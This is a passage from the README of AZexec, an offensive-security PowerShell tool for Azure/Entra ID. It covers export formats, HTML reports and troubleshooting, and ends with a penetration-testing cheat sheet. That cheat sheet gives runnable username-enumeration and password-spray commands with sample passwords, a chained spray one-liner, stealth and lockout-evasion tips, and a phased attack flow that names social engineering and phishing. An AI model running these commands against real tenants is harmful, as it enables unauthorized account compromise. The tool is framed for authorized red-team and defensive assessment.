- User Principal Name (UPN) via `whoami /upn` (Windows)
- Environment variable `USERDNSDOMAIN`
- Current user's Windows identity

This allows you to quickly run `.\azx.ps1 tenant` without specifying a domain.

### Device Enumeration (Authentication Required)
On first run of the `hosts` command, the script will:
1. Check for the Microsoft.Graph module (install if missing)
2. Prompt for Microsoft Graph authentication
3. Request necessary permissions (Device.Read.All by default)
4. Cache credentials for subsequent runs

**Using Guest Credentials for Low-Noise Enumeration:**
```powershell
# Method 1: Interactive guest login
Disconnect-MgGraph
.\azx.ps1 hosts
# (Enter guest credentials when prompted: external-user@partner.com)

# Method 2: Explicitly specify scopes
.\azx.ps1 hosts -Scopes "User.Read.All,Group.Read.All,Device.Read.All"

# Method 3: Use guest credentials with additional enumeration
Connect-MgGraph -Scopes "User.Read.All","Device.Read.All"
.\azx.ps1 hosts -ShowOwners -ExportPath guest-enum.json
```

To switch accounts or tenants:
```powershell
Disconnect-MgGraph
.\azx.ps1 hosts
```

## 📁 Data Export (CSV/JSON/HTML)

### Username Enumeration Export

#### CSV Export
```powershell
.\azx.ps1 users -Domain example.com -CommonUsernames -ExportPath users.csv
```
Includes: Username, Exists (True/False), IfExistsResult (numeric code), AuthType (Managed/Federated/Alternate), ThrottleStatus

#### JSON Export (Recommended for automation)
```powershell
.\azx.ps1 users -Domain example.com -UserFile users.txt -ExportPath results.json
```
Structured JSON with all response details including throttle status and full API response data

### User Profile Enumeration Export

#### CSV Export
```powershell
.\azx.ps1 user-profiles -ExportPath users.csv
```
Includes: UserId, DisplayName, UserPrincipalName, Mail, JobTitle, Department, OfficeLocation, UserType, AccountEnabled, LastSignInDateTime

#### JSON Export (Recommended)
```powershell
.\azx.ps1 user-profiles -ExportPath users.json
```
Structured JSON with all user profile properties including sign-in activity

### Tenant Discovery Export

#### JSON Export (Recommended)
```powershell
.\azx.ps1 tenant -Domain example.com -ExportPath tenant.json
```
Includes: Domain, TenantId, Issuer, all endpoints, federation status, supported response types, scopes, claims, **exposed applications**, **redirect URIs**, **potential misconfigurations**, and full OpenID configuration

#### CSV Export
```powershell
.\azx.ps1 tenant -Domain example.com -ExportPath tenant.csv
```
Includes: Domain, TenantId, Issuer, endpoints, and federation status (simplified view - JSON recommended for full security findings)

### Device Enumeration Export

#### CSV Export
```powershell
.\azx.ps1 hosts -ExportPath output.csv
```
Includes: DeviceId, DisplayName, OperatingSystem, OperatingSystemVersion, TrustType, IsCompliant, AccountEnabled, ApproximateLastSignInDateTime, RegisteredOwners

#### JSON Export
```powershell
.\azx.ps1 hosts -ExportPath output.json
```
Structured JSON with all device properties

### Group Enumeration Export

#### CSV Export
```powershell
.\azx.ps1 groups -ExportPath groups.csv
```
Includes: GroupId, DisplayName, Description, GroupTypes, SecurityEnabled, MailEnabled, Mail, MailNickname, CreatedDateTime, MemberCount

#### JSON Export (Recommended)
```powershell
.\azx.ps1 groups -ExportPath groups.json
```
Structured JSON with all group properties and detailed information

### Password Policy Export

#### JSON Export (Recommended)
```powershell
.\azx.ps1 pass-pol -ExportPath policy.json
```
Includes: TenantId, TenantDisplayName, PasswordPolicies (ValidityPeriodDays, NotificationWindowDays), SecurityDefaults (enabled/disabled), ConditionalAccessPolicies (full list), AuthenticationMethods (enabled methods)

### Application Enumeration Export

#### CSV Export
```powershell
.\azx.ps1 apps -ExportPath apps.csv
```
Includes: Type (Application/ServicePrincipal), ObjectId, AppId, DisplayName, SignInAudience, IsFallbackPublicClient, PasswordCredentials (count), KeyCredentials (count), CreatedDateTime, PublicClientRedirectUris, WebRedirectUris

#### JSON Export (Recommended)
```powershell
.\azx.ps1 apps -ExportPath apps.json
```
Structured JSON with all application and service principal properties including:
- Full credential information (counts and types)
- Redirect URIs (both web and public client)
- Service principal type and enabled status
- Tags and additional metadata

**Use Cases:**
- Security audits: Identify password-only credentials
- Compliance: Track application registrations and their authentication methods
- Vulnerability assessment: Find ROPC-enabled applications (publicClient = True)
- Credential management: Track expiring credentials (combine with vuln-list command)

#### CSV Export (Simplified)
```powershell
.\azx.ps1 pass-pol -ExportPath policy.csv
```
Includes: TenantId, TenantDisplayName, PasswordValidityDays, PasswordNotificationDays, SecurityDefaultsEnabled, ConditionalAccessPolicyCount (flattened structure)

### Guest Login Enumeration Export

#### JSON Export (Recommended)
```powershell
.\azx.ps1 guest -Domain target.com -UserFile users.txt -Password 'Pass123' -ExportPath spray.json
```
Includes: Domain, TenantConfig (NameSpaceType, FederationType, AcceptsExternalUsers), AuthResults (per-user results with Success, MFARequired, ErrorCode), Summary (counts)

#### CSV Export
```powershell
.\azx.ps1 guest -Domain target.com -UserFile users.txt -Password 'Pass123' -ExportPath spray.csv
```
Includes: Username, Password, Success, MFARequired, ConsentRequired, ErrorCode, HasToken (one row per tested credential)

## 📊 Professional HTML Reports

AZexec now supports **comprehensive HTML report generation** with a netexec-inspired dark theme. HTML reports provide a professional, shareable format perfect for documentation, presentations, and security assessments.

### Features

- **🎨 NetExec-Style Dark Theme**: Hacker-inspired green-on-black aesthetic
- **📈 Interactive Statistics**: Key metrics and summaries at a glance
- **🔴 Risk Highlighting**: Automatic color-coding for high/medium/low risk items
- **📱 Responsive Design**: Works on any device or screen size
- **🖨️ Print-Friendly**: Optimized for PDF generation and printing
- **📋 Complete Data Tables**: All enumeration results in sortable, filterable tables

### Generating HTML Reports

Simply change the file extension from `.csv` or `.json` to `.html`:

```powershell
# Device enumeration HTML report
.\azx.ps1 hosts -ExportPath devices.html

# User profiles HTML report
.\azx.ps1 user-profiles -ExportPath users.html

# RID bruteforce HTML report (Azure equivalent)
.\azx.ps1 rid-brute -ExportPath users-rid-brute.html

# Service principal discovery HTML report
.\azx.ps1 sp-discovery -ExportPath service-principals.html

# Role assignments HTML report
.\azx.ps1 roles -ExportPath role-assignments.html

# Active sessions HTML report
.\azx.ps1 sessions -ExportPath sessions.html

# Password policy HTML report
.\azx.ps1 pass-pol -ExportPath policies.html

# Group enumeration HTML report
.\azx.ps1 groups -ExportPath groups.html

# Username enumeration HTML report
.\azx.ps1 users -Domain target.com -CommonUsernames -ExportPath valid-users.html

# Application enumeration HTML report
.\azx.ps1 apps -ExportPath applications.html
```

### HTML Report Contents

Each HTML report includes:

1. **Header Section**
   - Report title with AZexec branding
   - Command executed
   - Generation timestamp
   - Total record count

2. **Statistics Dashboard**
   - Key metrics displayed as cards
   - Risk-based color coding (red/yellow/green)
   - Command-specific statistics
   - Visual indicators for high-risk findings

3. **Description Section**
   - Command purpose and context
   - What the report contains
   - Key security considerations

4. **Data Table**
   - Complete enumeration results
   - Color-coded cells for risk levels
   - Boolean values displayed as badges
   - Sortable columns (when viewed in browser)
   - Responsive design for mobile/tablet

5. **Footer**
   - AZexec attribution
   - GitHub repository link
   - EvilMist toolkit branding

### Example Use Cases

#### Security Assessment Reports
Generate professional reports for client deliverables:
```powershell
# Comprehensive privileged access review
.\azx.ps1 roles -ExportPath "2025-01-ClientName-PrivilegedAccess-Review.html"
.\azx.ps1 sp-discovery -ExportPath "2025-01-ClientName-ServicePrincipals.html"
.\azx.ps1 ca-policies -ExportPath "2025-01-ClientName-ConditionalAccess.html"
```

#### Red Team Documentation
Document enumeration findings in a shareable format:
```powershell
# Phase 1: External reconnaissance
.\azx.ps1 users -Domain target.com -CommonUsernames -ExportPath "Phase1-ValidUsers.html"

# Phase 2: Post-authentication enumeration  
.\azx.ps1 hosts -ExportPath "Phase2-Devices.html"
.\azx.ps1 groups -ExportPath "Phase2-Groups.html"
.\azx.ps1 vuln-list -ExportPath "Phase2-Vulnerabilities.html"
```

#### Compliance Audits
Create formatted reports for compliance reviews:
```powershell
.\azx.ps1 pass-pol -ExportPath "Compliance-PasswordPolicies.html"
.\azx.ps1 roles -ExportPath "Compliance-PrivilegedAccounts.html"
.\azx.ps1 sessions -Hours 168 -ExportPath "Compliance-SignInActivity-7Days.html"
```

### Viewing HTML Reports

1. **Web Browser**: Simply double-click the `.html` file to open in your default browser
2. **Export to PDF**: Use browser print functionality (Ctrl+P) and select "Save as PDF"
3. **Share**: Send HTML file via email or upload to documentation platforms
4. **Archive**: Store alongside CSV/JSON exports for complete documentation

### Risk Color Coding

HTML reports automatically highlight security-critical findings:

| Color | Meaning | Examples |
|-------|---------|----------|
| 🔴 **Red** | **HIGH RISK** | Privileged roles, high-risk permissions, critical vulns |
| 🟡 **Yellow** | **MEDIUM RISK** | Password-only auth, ROPC-enabled apps, warnings |
| 🟢 **Green** | **NORMAL** | Standard users, certificate auth, compliant configs |
| 🔵 **Cyan** | **INFO** | General information, standard data |
| ⚪ **Gray** | **LOW/DISABLED** | Disabled accounts, inactive items |

### Combining Export Formats

Generate multiple formats for different use cases:
```powershell
# CSV for spreadsheet analysis
.\azx.ps1 hosts -ExportPath devices.csv

# JSON for automation/parsing
.\azx.ps1 hosts -ExportPath devices.json

# HTML for reporting and documentation
.\azx.ps1 hosts -ExportPath devices.html
```

### Command-Specific Report Examples

#### Device Enumeration Report
```powershell
.\azx.ps1 hosts -Filter windows -ShowOwners -ExportPath windows-devices.html
```
**Statistics Included:**
- Total Devices
- Windows Devices  
- Azure Entra ID Joined
- Hybrid Joined
- Compliant Devices
- Enabled Devices

#### Service Principal Discovery Report
```powershell
.\azx.ps1 sp-discovery -ExportPath sp-analysis.html
```
**Statistics Included:**
- Total Service Principals
- Enabled Service Principals
- **Password-Only SPNs (HIGH RISK)** ← Highlighted in red
- SPNs with App Role Assignments
- Managed Identities
- OAuth2 Permission Grants

#### Role Assignment Report
```powershell
.\azx.ps1 roles -ExportPath role-audit.html
```
**Statistics Included:**
- Total Active Directory Roles
- Total Role Assignments
- **Privileged Role Assignments (HIGH RISK)** ← Highlighted in red
- User Assignments
- Group Assignments
- Service Principal Assignments
- PIM Eligible Assignments

#### Session Enumeration Report
```powershell
.\azx.ps1 sessions -Hours 24 -ExportPath active-sessions.html
```
**Statistics Included:**
- Total Sign-in Events
- Unique Users
- Successful Sign-ins
- Failed Sign-ins
- **Risky Sign-ins (HIGH RISK)** ← Highlighted in red
- MFA Required Sign-ins
- Time Range (Hours)

### Best Practices

1. **Use Descriptive Filenames**: Include date, client name, and content type
   ```powershell
   .\azx.ps1 roles -ExportPath "2025-01-15_ExampleCorp_PrivilegedRoles.html"
   ```

2. **Generate Multiple Formats**: Keep CSV/JSON for data processing, HTML for reporting
   ```powershell
   .\azx.ps1 sp-discovery -ExportPath spns.json
   .\azx.ps1 sp-discovery -ExportPath spns.html
   ```

3. **Archive Reports**: Store HTML reports alongside other documentation
   ```powershell
   $date = Get-Date -Format "yyyy-MM-dd"
   .\azx.ps1 vuln-list -ExportPath "reports/$date-vulnerabilities.html"
   ```

4. **Review in Browser**: HTML reports are best viewed in modern browsers (Chrome, Edge, Firefox)

5. **Convert to PDF**: Use browser print-to-PDF for permanent archival
   ```
   Open .html → Press Ctrl+P → Destination: Save as PDF
   ```

## 🛠️ Common Issues & Solutions

### Guest User Enumeration Issues

#### "Insufficient privileges to complete the operation" (as guest)
- The organization HAS restricted guest permissions (good security!)
- Guest users cannot access the requested resource
- This means the org is **not vulnerable** to guest enumeration
- Try with lower scopes: `-Scopes "User.Read"`

#### Guest Login Successful But No Enumeration Allowed
This is the **desired security posture**. It means:
- External collaboration is enabled (guests can sign in)
- But guest permissions are properly restricted
- The organization has followed security best practices

#### "Access Denied" for Device Enumeration as Guest
- This is normal and expected in **properly configured** tenants
- Most organizations restrict Device.Read.All from guests
- Try user/group enumeration which is more commonly allowed:
```powershell
Get-MgUser -All
Get-MgGroup -All
```

#### How to Tell if an Org is Vulnerable to Guest Enumeration
Look for these indicators:
1. ✅ Guest login successful
2. ✅ Can enumerate users/devices without errors
3. ✅ Can see detailed properties (job titles, departments, etc.)
4. ✅ Can see group memberships
5. ❌ If you get "Access Denied" = org is properly secured

### Guest Login Enumeration Issues

#### "ROPC disabled (try device code flow)"
- The organization has disabled Resource Owner Password Credential (ROPC) flow
- This is a **good security practice** that prevents password spray attacks via this method
- Try using device code flow or interactive authentication instead
- The target organization has security controls in place

#### "Invalid credentials" for all users
- Verify the domain is correct
- Check if usernames require the full UPN format (`user@domain.com`)
- The passwords may genuinely be incorrect
- ROPC may be blocked by Conditional Access policies

#### "MFA Required" for valid credentials
- This is a **successful credential test** - the password is correct!
- MFA is blocking the login, but credentials are valid
- This indicates the account is protected by MFA (good for the target)
- For red team: note these as "valid creds with MFA" for further analysis

#### "Account Locked" messages
- Too many failed authentication attempts have locked the account
- Be careful with password spray - implement proper delays
- This may indicate security controls or previous attack activity
- Wait before retrying to avoid permanent lockout

#### "Tenant not found or not accessible"
- Verify the domain spelling
- Try using the `.onmicrosoft.com` domain variant
- The domain may not be an Azure/Entra tenant

### Username Enumeration Issues

#### "Please provide one of: -Username, -UserFile, or -CommonUsernames"
- You must specify at least one input method for usernames
- Use `-Username` for single user, `-UserFile` for file input, or `-CommonUsernames` for common names
- Domain can be omitted and will be auto-detected from your current user context

#### Rate Limiting / Throttling
- The GetCredentialType API may throttle requests if too many are made too quickly
- The tool includes a 50ms delay between requests
- If you encounter throttling, try checking smaller batches of usernames
- The `ThrottleStatus` field in the response indicates if throttling is occurring

#### "User file not found"
- Verify the path to your username file is correct
- Use absolute paths or paths relative to the current directory

#### No Valid Usernames Found
- This is expected behavior if the usernames don't exist in the tenant
- Verify you're using the correct domain name (or let it auto-detect)
- Try the `-CommonUsernames` flag to test with known common usernames
- Check if the domain is correct using: `.\azx.ps1 tenant -Domain example.com`

#### "Could not auto-detect domain"
- The tool couldn't automatically determine your domain
- Manually specify the domain using: `-Domain example.com`
- Ensure you're logged in with a domain account (not a local account)

### Tenant Discovery Issues

#### "Failed to retrieve tenant configuration"
- Verify the domain name is correct
- Ensure you have internet connectivity
- Check if the domain is actually an Azure/Entra tenant
- Some domains may not have public OpenID configuration endpoints

#### "The specified domain does not appear to be a valid Azure/Entra tenant"
- Verify the domain spelling
- Try using the .onmicrosoft.com domain variant
- The domain may not be federated with Azure/Entra ID

#### "Could not auto-detect domain"
- The tool couldn't automatically determine your domain
- Manually specify the domain using: `.\azx.ps1 tenant -Domain example.com`
- Ensure you're logged in with a domain account (not a local account)

### Device Enumeration Issues

#### "Microsoft.Graph module not found"
The script will automatically install the module. If installation fails:
```powershell
Install-Module Microsoft.Graph -Scope CurrentUser -Force
```

#### "Failed to connect to Microsoft Graph"
- Ensure you have internet connectivity
- Check if your organization allows Microsoft Graph API access
- Verify you have the necessary Azure/Entra ID permissions

#### "No devices found"
- Verify your account has Device.Read.All permissions
- Check if your filter criteria is too restrictive
- Ensure devices exist in the tenant

#### Permission Issues
If you encounter permission errors:
1. Request Device.Read.All permissions from your Azure AD administrator
2. For owner enumeration, you may need Directory.Read.All permissions

### Group Enumeration Issues

#### "Failed to retrieve groups"
- Verify your account has Group.Read.All or Directory.Read.All permissions
- Guest users may have restricted access to group enumeration
- Check if your organization restricts guest user permissions

#### "No groups found or insufficient permissions"
- This may indicate proper security configuration (guest users restricted)
- Try with a member account to confirm groups exist
- Check guest permission settings in Azure AD

#### "Insufficient privileges to complete the operation" (as guest)
- The organization has properly restricted guest permissions (good security!)
- Guest users cannot access group information
- This is the **recommended** security posture
- You may be able to see groups with lower scopes or as a member user

#### Slow Group Enumeration
- Using `-ShowOwners` flag makes additional API calls for each group
- For large organizations, this can take significant time

### Application Enumeration Issues

#### "Failed to retrieve applications"
- Verify your account has Application.Read.All or Directory.Read.All permissions
- Guest users may have restricted access to application enumeration
- Check if your organization restricts guest user permissions to applications

#### "No applications found or insufficient permissions"
- This may indicate restricted guest permissions (good security practice)
- Try with a member account to confirm applications exist
- Some organizations hide application registrations from non-admin users

#### Permission Requirements
For full application enumeration, you need:
- **Application.Read.All**: Read all application registrations and service principals
- **Directory.Read.All**: Read directory data (alternative permission)
- Guest users typically need explicit permission grants for application access

#### Interpreting Results
- **Yellow entries**: Password-only credentials or ROPC-enabled (security risk)
- **Green entries**: Certificate-based authentication (secure configuration)

### Service Principal Discovery Issues

#### "Failed to retrieve service principals"
- Verify your account has Application.Read.All or Directory.Read.All permissions
- Guest users may have restricted access to service principal enumeration
- Check if your organization restricts guest user permissions to service principals

#### "Failed to retrieve app role assignments" or "Failed to retrieve OAuth2 permission grants"
- The command will continue with limited permission data
- For full permission discovery, you need:
  - **Application.Read.All**: Required for reading service principals and applications
  - **Directory.Read.All**: Required for reading directory data
  - **AppRoleAssignment.ReadWrite.All**: Optional (use `-IncludeWritePermissions` flag if needed)
    - Note: Script only performs read operations; this permission is typically unnecessary
- Some organizations restrict access to permission grant information

#### "No service principals found or insufficient permissions"
- This may indicate restricted guest permissions (good security practice)
- Try with a member account to confirm service principals exist
- Some organizations hide service principals from non-admin users

#### Permission Requirements
For full service principal discovery, you need:
- **Application.Read.All**: Read all service principals and applications (required)
- **Directory.Read.All**: Read directory data (required)
- **AppRoleAssignment.ReadWrite.All**: Optional write permission (use `-IncludeWritePermissions` flag)
  - Script only performs read operations; this permission is typically unnecessary
  - By default, only read permissions are requested (principle of least privilege)
- Guest users typically need explicit permission grants for service principal access

#### Interpreting Results
- **Yellow entries**: Password-only credentials (security risk)
- **Green entries**: Service principals with permissions and proper authentication
- **DarkGray entries**: Disabled service principals
- **High appRoles/delegated counts**: Potentially over-privileged service principals
- **Owners = 0**: Orphaned service principals that may be abandoned
- **Security warnings**: Automatically flagged for password-only credentials and high-risk permissions

#### Performance Considerations
- Service principal discovery involves multiple phases:
  1. Enumerate all service principals
  2. Retrieve app role assignments for all SPNs
  3. Retrieve OAuth2 permission grants for all SPNs
  4. Retrieve owners for each service principal
- For large organizations with 1000+ service principals, this can take several minutes
- The tool displays progress indicators for each phase
- Consider using `-ExportPath` to save results for offline analysis
- **Dark gray entries**: No credentials (may use managed identity)
- Security warnings at the end summarize password-only configurations

#### Large Tenant Performance
- Enumerating applications and service principals may take time in large organizations
- Service principals especially can number in the thousands (includes managed identities)
- Consider using `-ExportPath` and analyzing results offline
- JSON export provides the most detailed information for analysis
- Consider running without `-ShowOwners` first, then target specific groups

### Password Policy Enumeration Issues

#### "Failed to retrieve organization details"
- Verify you have Organization.Read.All and Directory.Read.All permissions
- Guest users typically have limited access to organizational settings
- Request appropriate permissions or use a member account

#### "Failed to check Security Defaults"
- Requires Policy.Read.All permissions
- Guest users typically **cannot** view security policies
- This is expected behavior for guest accounts
- Use a member account with appropriate permissions

#### "Failed to enumerate Conditional Access Policies"
- Requires Policy.Read.All permissions
- **Guest users are typically blocked** from viewing CA policies (by design)
- This is a **security feature** to prevent policy enumeration by external users
- Member accounts with appropriate permissions can view these policies

#### Partial Information Retrieved
- Some policy information requires elevated permissions
- Basic password policies may be visible with Organization.Read.All
- Full security posture assessment requires Policy.Read.All
- Guest users will see limited information (expected behavior)

#### "Guest users typically cannot view Conditional Access Policies"
- This is **normal and expected** behavior
- Conditional Access policies are considered sensitive security information
- Organizations properly restrict this from guest users
- If you see this message as a guest, the org has good security practices

## 📄 License

This project is licensed under the GNU General Public License v3.0 - see the [LICENSE](LICENSE) file for details.

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
```

## 🤝 Contributing

Contributions, issues, and feature requests are welcome!

## ⚠️ Disclaimer

This tool is provided for **legitimate security testing, research, and administrative purposes only**.

**Important Guidelines:**

1. **Authorization Required**: Always obtain explicit written authorization before testing any Azure/Entra ID tenant that you do not own.

2. **Guest User Enumeration**: The guest user enumeration techniques demonstrated in this tool are for:
   - **Red team engagements** with proper authorization
   - **Security assessments** to test organizational defenses
   - **Educational purposes** to understand Azure security
   - **Defensive research** to improve security posture

3. **Responsible Disclosure**: If you discover vulnerabilities during authorized testing, follow responsible disclosure practices.

4. **Legal Compliance**: Ensure your activities comply with all applicable laws and regulations in your jurisdiction.

5. **Ethical Use**: Do not use this tool for unauthorized access, data theft, or any malicious activities.

**The authors assume no liability for misuse or damage caused by this tool. Users are solely responsible for ensuring proper authorization and legal compliance.**

## 👤 Author

**Logisek**
- GitHub: [@Logisek](https://github.com/Logisek)
- Project Link: [https://github.com/Logisek/AZexec](https://github.com/Logisek/AZexec)

## 🌟 Acknowledgments

- Inspired by the netexec tool
- Built with Microsoft Graph PowerShell SDK
- Guest user enumeration research inspired by years of Azure security assessments revealing this consistently overlooked vulnerability

## 📝 Quick Reference - Penetration Testing Cheat Sheet

### Reconnaissance Flow

```
┌─────────────────────────────────────────────────────────────┐
│  PHASE 1: EXTERNAL RECONNAISSANCE (No Authentication)       │
├─────────────────────────────────────────────────────────────┤
│  .\azx.ps1 tenant -Domain target.com                        │
│  .\azx.ps1 users -Domain target.com -CommonUsernames        │
│  .\azx.ps1 guest -Domain target.com  # Check B2B config     │
│                                                              │
│  Output: Tenant ID, valid usernames, federation status      │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ↓
┌─────────────────────────────────────────────────────────────┐
│  PHASE 1b: GUEST LOGIN TESTING (Like nxc smb -u 'a' -p '') │
├─────────────────────────────────────────────────────────────┤
│  .\azx.ps1 guest -Domain target.com -UserFile users.txt \   │
│    -Password 'Summer2024!'                                   │
│                                                              │
│  Output: Valid creds, MFA status, locked accounts           │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ↓
┌─────────────────────────────────────────────────────────────┐
│  PHASE 2: OBTAIN GUEST ACCESS (Social Engineering)          │
├─────────────────────────────────────────────────────────────┤
│  - Register as "vendor" or "consultant"                     │
│  - Compromise partner organization                          │
│  - Leaked credentials from breaches                         │
│  - Use valid creds from Phase 1b (if MFA not required)     │
│                                                              │
│  Result: guest@partner.com credentials                      │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ↓
┌─────────────────────────────────────────────────────────────┐
│  PHASE 3: GUEST ENUMERATION (Low-Noise Reconnaissance)      │
├─────────────────────────────────────────────────────────────┤
│  .\azx.ps1 user-profiles -ExportPath users.csv             │
│  .\azx.ps1 hosts -ShowOwners -ExportPath loot.json         │
│  .\azx.ps1 groups -ExportPath groups.json                   │
│  .\azx.ps1 pass-pol -ExportPath policy.json                 │
│                                                              │
│  Detection Risk: LOW (appears as normal collaboration)      │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ↓
┌─────────────────────────────────────────────────────────────┐
│  PHASE 4: ANALYSIS & TARGET IDENTIFICATION (Offline)        │
├─────────────────────────────────────────────────────────────┤
│  - Identify privileged accounts (admins, global admins)     │
│  - Map organizational structure                             │
│  - Find non-compliant devices                               │
│  - Locate high-value targets (executives, finance)          │
│  - Identify legacy/unpatched systems                        │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ↓
┌─────────────────────────────────────────────────────────────┐
│  PHASE 5: TARGETED ATTACK                                   │
├─────────────────────────────────────────────────────────────┤
│  - Spear phishing campaigns                                 │
│  - Password spraying                                         │
│  - Credential stuffing                                       │
│  - Exploitation of vulnerable devices                       │
└─────────────────────────────────────────────────────────────┘
```

### Commands Cheat Sheet

| Objective | Command | Authentication | NetExec Equivalent |
|-----------|---------|----------------|--------------------|
| Discover tenant | `.\azx.ps1 tenant -Domain target.com` | ❌ None | `nxc smb --enum` |
| Validate usernames | `.\azx.ps1 users -Domain target.com -CommonUsernames` | ❌ None | `nxc smb --users` (unauthenticated) |
| **Enumerate domain users** | `.\azx.ps1 user-profiles -ExportPath users.csv` | ✅ Guest/Member | **`nxc smb/ldap <target> -u <user> -p <pass> --users`** |
| **Enumerate user profiles (RID brute)** | `.\azx.ps1 rid-brute -ExportPath users.csv` | ✅ Guest/Member | `nxc smb --rid-brute` |
| **Test null login** | `.\azx.ps1 guest -Domain target.com -Username user -Password ''` | ❌ None | **`nxc smb -u 'a' -p ''`** |
| **Password spray** | `.\azx.ps1 guest -Domain target.com -UserFile users.txt -Password 'Pass123'` | ❌ None | `nxc smb -u users.txt -p 'Pass123'` |
| **Username enum + spray** | See [Complete Password Spray Attack](#complete-password-spray-attack-workflow) | ❌ None | `nxc smb -u users.txt -p 'Pass123'` |
| **Guest vuln scan** | `.\azx.ps1 guest-vuln-scan -ExportPath report.json` | ⚡ Hybrid | `nxc smb --check-null-session` |
| Enumerate devices | `.\azx.ps1 hosts` (login with guest creds) | ✅ Guest | `nxc smb --hosts` |
| Enumerate groups | `.\azx.ps1 groups` | ✅ Guest/Member | `nxc smb --groups` |
| Password policies | `.\azx.ps1 pass-pol` | ✅ Guest/Member | `nxc smb --pass-pol` |
| **Enumerate roles** | `.\azx.ps1 roles -ExportPath roles.csv` | ✅ Member | - |
| **Review CA policies** | `.\azx.ps1 ca-policies -ExportPath policies.json` | ✅ Member | - |
| Full device enum | `.\azx.ps1 hosts -ShowOwners -ExportPath out.json` | ✅ Guest/Member | - |
| Test guest perms | `Get-MgUser -Top 10` (after connecting) | ✅ Guest | - |
| Enumerate all users | `.\azx.ps1 user-profiles` | ✅ Guest/Member | - |
| **Enum VM logged-on users** | `.\azx.ps1 vm-loggedon` | ✅ Azure RBAC | `nxc smb --logged-on-users` |
| **Enum Storage Accounts** | `.\azx.ps1 storage-enum` | ✅ Azure RBAC | - |
| **Enum Key Vaults** | `.\azx.ps1 keyvault-enum` | ✅ Azure RBAC | - |
| **Enum Network resources** | `.\azx.ps1 network-enum` | ✅ Azure RBAC | - |
| **Show available commands** | `.\azx.ps1 help` | ❌ None | `nxc --help` |

**Tip**: Add `-Disconnect` to any authenticated command to automatically disconnect from Microsoft Graph after execution:
```powershell
.\azx.ps1 hosts -ExportPath devices.csv -Disconnect
.\azx.ps1 sp-discovery -ExportPath sp.json -Disconnect
```

**ARM Commands (Multi-Subscription)**: These commands automatically enumerate all accessible Azure subscriptions:
```powershell
.\azx.ps1 storage-enum                                  # All storage accounts across all subscriptions
.\azx.ps1 keyvault-enum -SubscriptionId "12345..."      # Key vaults in specific subscription
.\azx.ps1 network-enum -ResourceGroup Prod-RG           # Network resources in specific resource group
```

### Defensive Audit Commands

| Check | Command | What to Look For |
|-------|---------|------------------|
| Guest user settings | `Get-MgPolicyAuthorizationPolicy \| Select -ExpandProperty GuestUserRoleId` | Should be `2af84b1e-32c8-42b7-82bc-daa82404023b` (most restrictive) |
| List all guests | `Get-MgUser -Filter "userType eq 'Guest'" \| ft DisplayName,UserPrincipalName` | Review and remove unnecessary guests |
| Guest API activity | Check Azure AD Audit Logs → Filter by guest users and Microsoft Graph | Look for unusual enumeration patterns |
| Guest sign-ins | Check Azure AD Sign-in Logs → Filter by guest users | Monitor for suspicious login locations/times |

### Complete Password Spray Attack Workflow

AZexec provides a two-phase approach to password spraying that mimics NetExec's workflow:

**Phase 1: Username Enumeration (GetCredentialType API)**
```powershell
# Enumerate valid usernames using GetCredentialType API (no authentication required)
.\azx.ps1 users -Domain target.com -CommonUsernames -ExportPath valid-users.csv
```

**Phase 2: Password Spraying (ROPC Authentication)**
```powershell
# Extract just the valid usernames from CSV
$validUsers = Import-Csv valid-users.csv | Where-Object { $_.Exists -eq 'True' } | Select-Object -ExpandProperty Username

# Create a username file for spraying
$validUsers | Out-File -FilePath validated-users.txt

# Perform password spray with a single password
.\azx.ps1 guest -Domain target.com -UserFile validated-users.txt -Password 'Summer2024!' -ExportPath spray-results.json
```

**One-Liner Workflow:**
```powershell
# Quick spray with common usernames
.\azx.ps1 users -Domain target.com -CommonUsernames -ExportPath valid.csv; $validUsers = (Import-Csv valid.csv | Where-Object { $_.Exists -eq 'True' }).Username | Out-File temp-users.txt; .\azx.ps1 guest -Domain target.com -UserFile temp-users.txt -Password 'Winter2024!' -ExportPath spray.json; Remove-Item temp-users.txt
```

**Why Two Separate Commands?**

The GetCredentialType API (used by `users` command) only validates username existence - it doesn't test passwords. This is by design:
- **Phase 1 (`users`)**: Uses Microsoft's public GetCredentialType endpoint to check if usernames exist
- **Phase 2 (`guest`)**: Uses ROPC (Resource Owner Password Credentials) OAuth2 flow to test actual authentication

This separation provides several benefits:
1. **Stealth**: Username enumeration doesn't trigger authentication logs
2. **Efficiency**: Only spray against validated usernames (avoid account lockouts on non-existent users)
3. **Flexibility**: Use different password lists or techniques between phases
4. **Safety**: Validate targets before attempting authentication (reduces noise and lockout risk)

**NetExec Equivalent:**
```bash
# Traditional NetExec workflow
nxc smb 192.168.1.0/24 --users          # Enumerate users
nxc smb 192.168.1.0/24 -u users.txt -p 'Password123'  # Password spray

# AZexec equivalent
.\azx.ps1 users -Domain target.com -CommonUsernames -ExportPath users.csv
.\azx.ps1 guest -Domain target.com -UserFile users.txt -Password 'Password123'
```

### Enhanced Password Spraying with NetExec-Style Options

AZexec now includes a dedicated `spray` command with NetExec-style options for enhanced password spraying capabilities:

#### New Parameters

| Parameter | NetExec Equivalent | Description |
|-----------|-------------------|-------------|
| `-ContinueOnSuccess` | `--continue-on-success` | Don't stop after finding valid credentials |
| `-NoBruteforce` | `--no-bruteforce` | Linear pairing (user1:pass1, user2:pass2) instead of matrix |
| `-PasswordFile` | `-p @file.txt` | Load multiple passwords from file |
| `-Delay` | N/A | Seconds between password rounds (lockout protection) |
| `-LocalAuth` | `--local-auth` | Only spray managed (cloud-only) domains, skip federated |

#### Usage Examples

```powershell
# Basic single password spray (same as guest command)
.\azx.ps1 spray -Domain target.com -UserFile users.txt -Password 'Summer2024!'

# Multi-password spray with 30-minute delay between rounds (OPSEC-safe)
.\azx.ps1 spray -Domain target.com -UserFile users.txt -PasswordFile passwords.txt -Delay 1800

# Continue spraying after finding valid credentials
.\azx.ps1 spray -Domain target.com -UserFile users.txt -Password 'Pass123' -ContinueOnSuccess

# Linear pairing mode (user1 with pass1, user2 with pass2, etc.)
.\azx.ps1 spray -Domain target.com -UserFile users.txt -PasswordFile passwords.txt -NoBruteforce

# Cloud-only spray - skip federated domains (Azure equivalent of --local-auth)
